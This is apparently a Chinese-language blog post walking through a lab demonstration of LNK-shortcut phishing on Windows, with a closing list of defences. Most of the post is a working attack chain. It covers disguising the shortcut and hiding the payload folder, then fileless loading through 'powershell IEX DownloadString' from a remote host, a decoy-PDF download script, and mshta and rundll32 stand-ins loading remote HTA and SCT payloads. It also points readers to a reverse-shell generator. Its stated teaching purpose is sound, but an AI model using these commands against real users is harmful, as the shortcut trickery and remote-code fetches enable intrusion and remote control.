lnk 文件钓鱼实验

发布于: 2026-09-21 12:03

LNK文件钓鱼是一种常见的网络钓鱼攻击方式,它滥用Windows系统对快捷方式文件的“信任”,伪装成合法文件,通过社会工程学诱导用户点击,触发一个由系统合法组件构成的多阶段攻击链,最终在内存中执行恶意载荷。

本文仅用于网络安全技术研究与防御教学,所有实验均在隔离的虚拟机环境中完成。文中涉及的 LNK 钓鱼手法、远程加载技术及跳板利用方式,严禁用于任何未经授权的真实攻击或非法用途。读者应遵守《网络安全法》等相关法律法规,因滥用本文内容造成的一切后果由使用者自行承担。

lnk文件属性

以 Steam 桌面快捷方式为例,打开文件属性,可以看到文件属性中包含一个快捷方式指向的URL,以及快捷方式指向的图标等等。

lnk文件属性

其中以下几个属性:

  • 目标(T):指定启动程序和参数,在钓鱼攻击中,注入 cmd/powershell 命令,用空格隐藏恶意参数。
  • 起始位置(S):指定程序的工作目录,通常是恶意程序所在目录。
  • 运行方式(R):指定程序的窗口状态,通常设置为最小化或隐藏,以避免用户注意到恶意程序的执行。
  • 备注(O):指定快捷方式的描述信息。
  • 更改图标(I):指定快捷方式图标,通常使用常见的文件类型如pdf、文本文件、图片等图标,降低用户的注意力。

那么在lnk文件钓鱼的整个过程就清晰了,攻击者通过修改快捷方式文件的属性,将目标指向恶意程序,起始位置指向恶意程序所在目录,运行方式设置为最小化或隐藏,更改图标设置为常见文件类型图标,最后,在用户点击快捷方式时,系统会执行恶意程序,完成整个攻击链。

实验准备

  1. 创建一个目录,用于存放恶意程序源码a.c和一个起到烟雾弹作用的迷惑文件a.txt
  2. 给迷惑文件创建一个快捷方式a.txt.lnk,放在与上面目录同级目录下。
  3. 编译恶意程序,生成可执行文件a.exe
  4. 修改快捷方式的属性,将目标指向恶意程序,起始位置指向恶意程序所在目录,运行方式设置为最小化或隐藏,更改图标设置为常见文件类型图标。

结构如下:

新建文件夹
├── a
│   ├── a.c
│   ├── a.exe
│   └── a.txt
└── a.txt.lnk

钓鱼演示

一个简单的演示程序,运行时打开计算器,同时打开迷惑文件

#include <windows.h>
#include <string.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                   LPSTR lpCmdLine, int nCmdShow)
{
    char exePath[MAX_PATH];
    char dirPath[MAX_PATH];
    char txtPath[MAX_PATH];

    // 取自身完整路径
    GetModuleFileNameA(NULL, exePath, MAX_PATH);

    // 截掉文件名,留下目录
    strcpy(dirPath, exePath);
    char *p = strrchr(dirPath, '\\');
    if (p) *p = '\0';

    // 拼出 a.txt 的绝对路径
    wsprintfA(txtPath, "%s\\a.txt", dirPath);

    ShellExecuteA(NULL, "open", txtPath, NULL, dirPath, SW_SHOWNORMAL);
    ShellExecuteA(NULL, "open", "calc.exe", NULL, dirPath, SW_SHOWNORMAL);

    return 0;
}

编译:

gcc a.c -o a2.exe -O2 -mwindows -static -lshell32 -luser32

然后修改快捷方式属性,目标属性可以通过资源管理器explorer.exe来调用我们编译好的恶意程序,起始位置使用环境变量里的当前目录%CD%,运行方式设置为最小化或隐藏,更改图标设置为常见文件类型图标,文件名可以修改为a.txt

lnk文件属性修改

双击a.txt.lnk,可以看到计算器打开了,同时打开了a.txt

lnk文件钓鱼效果

隐藏私货

站在受害者的角度,你看到的不是一个孤零零的 a.txt,而是一个文件夹 a,里面躺着 a.c、a.exe、a.txt,外面还有一个 a.txt.lnk,现在怎么让受害者忽略这个夹带私货的目录,把全部注意力只放在这个无害的快捷方式上呢?最简单的办法就是把这个目录隐藏起来。

下面是三组对照:

系统开启显示隐藏项目功能,目录没有做隐藏处理,直观看到目录存在。

系统开启显示隐藏项目目录不做隐藏设置下的效果

系统开启显示隐藏项目功能,目录添加了隐藏属性,用户仍然可以看到灰色的目录存在。

系统开启显示隐藏项目目录添加隐藏属性下的效果

系统开启显示隐藏项目功能,目录添加了隐藏属性和系统属性,用户无法看到隐藏的目录。

系统开启显示隐藏项目目录添加隐藏属性和系统属性下的效果

此时,目录仍然存在,但是已经无法看到,只剩下一个快捷方式 a.txt.lnk,测试快捷方式可以正常运行。

隐藏目录下的钓鱼效果

恢复目录的可见性

:: h (hidden) s (system)
attrib -h -s a

恢复目录可见性

在这个实验下,恶意程序存在于同级目录下,常见利用场景就需要压缩整个目录,发送给受害者,受害者解压后看到的就是一个无害的快捷方式,点击后触发恶意程序。

无文件落地利用

那有没有不依赖这个目录的玩法,把快捷方式的目标写为powershell下载远程恶意内容直接在内存运行?可以,但是这可能会失去常规文件的迷惑性和掩护作用,更容易引起怀疑。

在远程服务器web服务器上创建一个文件,并使用powershell下载并运行这个文件。

# payload.ps1
Start-Process calc.exe
Write-Host "Payload executed in memory"

快捷方式的目标属性值修改为:

powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://192.168.56.111:8081/payload.ps1')"

成功加载执行远程powershell脚本,打开计算器

lnk文件远程加载执行

通过https://www.revshells.com/生成powershell反弹shell脚本可以做简单的远程控制测试

开启远程web服务器

反弹shell远程控制

在远程恶意脚本上,可以添加一些恶意代码,比如远程文件加载到内存执行,下载远程文件到临时目录打开做伪装,抛出些烟雾弹迷惑用户等等。

无文件场景下的烟雾弹,仍然要服务于让用户看到“正常文件”,达到心理预期,举个例子:快捷方式的图标和文件名让用户以为是一个季度报表的PDF文件,点击后,先下载一个正常的季度报表PDF文件到临时目录并打开,然后在后台执行恶意操作。

# 先下载一个正常的诱饵文档到临时目录并打开
$decoy = "$env:TEMP\季度报表.pdf"
Invoke-WebRequest "http://192.168.56.111:8081/decoy.pdf" -OutFile $decoy
Start-Process $decoy

# 再在后台执行恶意操作
Start-Process calc.exe

引入更隐蔽的跳板

直接写 powershell.exe -Command "IEX ..." 有一个明显弱点:右键查看 LNK 属性时,目标字段会暴露一长串可疑命令。真实攻击中,攻击者会用 mshta.exe 或 rundll32.exe 作为跳板,让目标字段看起来更“正常”。

mshta.exe 加载远程 HTA

mshta.exe 是 Windows 自带的 HTML 应用程序宿主,可以直接执行远程 .hta 文件。

LNK 目标可以写成:

mshta http://192.168.56.111:8081/payload.hta

payload.hta 内容示例:

<html>
<head>
<script language="VBScript">
    Set shell = CreateObject("WScript.Shell")
    shell.Run "calc.exe", 0, false
    window.close
</script>
</head>
<body>
</body>
</html>

mshta.exe 加载远程 HTA

这样 LNK 的目标字段只显示一个 URL,比直接写 PowerShell 命令干净得多。

rundll32.exe 调用远程 SCT

rundll32 本身不是一个“下载器”,它只是 Windows 提供的一个“调用 DLL 导出函数”的工具。这里利用的是 mshtml.dll 中的 RunHTMLApplication 函数,它能解析 javascript: 协议。但 javascript: 后面的代码能力有限,真正复杂的逻辑(下载、释放、执行)通常放在远程的 SCT 文件里,由 GetObject 拉取后交给脚本引擎执行。

rundll32.exe 可以配合 javascript: 协议加载远程脚本组件(SCT):

rundll32 javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://192.168.56.111:8081/payload.sct")

SCT(Scriptlet)文件是一个 XML 格式的脚本组件,rundll32 会通过 GetObject("script:http://...") 把它下载下来并执行。一个最小的演示用 payload.sct 内容如下:

<?XML version="1.0"?>
<scriptlet>
<registration
    description="payload"
    progid="payload"
    version="1.00"
    classid="{00000000-0000-0000-0000-000000000000}"
>
</registration>
<script language="JScript">
<![CDATA[
    var shell = new ActiveXObject("WScript.Shell");
    shell.Run("calc.exe", 0, false);
]]>
</script>
</scriptlet>

双击快捷方式,加载运行远程SCT脚本,被火绒拦截了

加载远程SCT脚本被火绒拦截

放行看效果

加载远程SCT脚本弹出计算器

防御措施

  • 安装安全软件:安装安全软件,开启实时防护,及时拦截恶意程序的执行。
  • 限制 LNK 附件:直接在邮件网关阻断 .lnk 扩展名附件,尤其是 ZIP 压缩包内的 LNK 文件。真实攻击常用“简历”“发票”等主题投递,需对这类关键词加严检测。
  • 强制显示文件扩展名:让用户看到 .pdf.lnk 或 .jpg.lnk 的真实后缀,是成本最低的防御措施。
  • 教育提示:提示员工对压缩包内的“文档快捷方式”保持警惕——真正的文档双击后应当打开文档,而不是弹出安全警告或什么都不显示。
  • 临时目录中的脚本落地:监控 %TEMP%、%LOCALAPPDATA%、C:\Users\Public\ 下随机命名的 .ps1、.bat、.vbs 文件创建。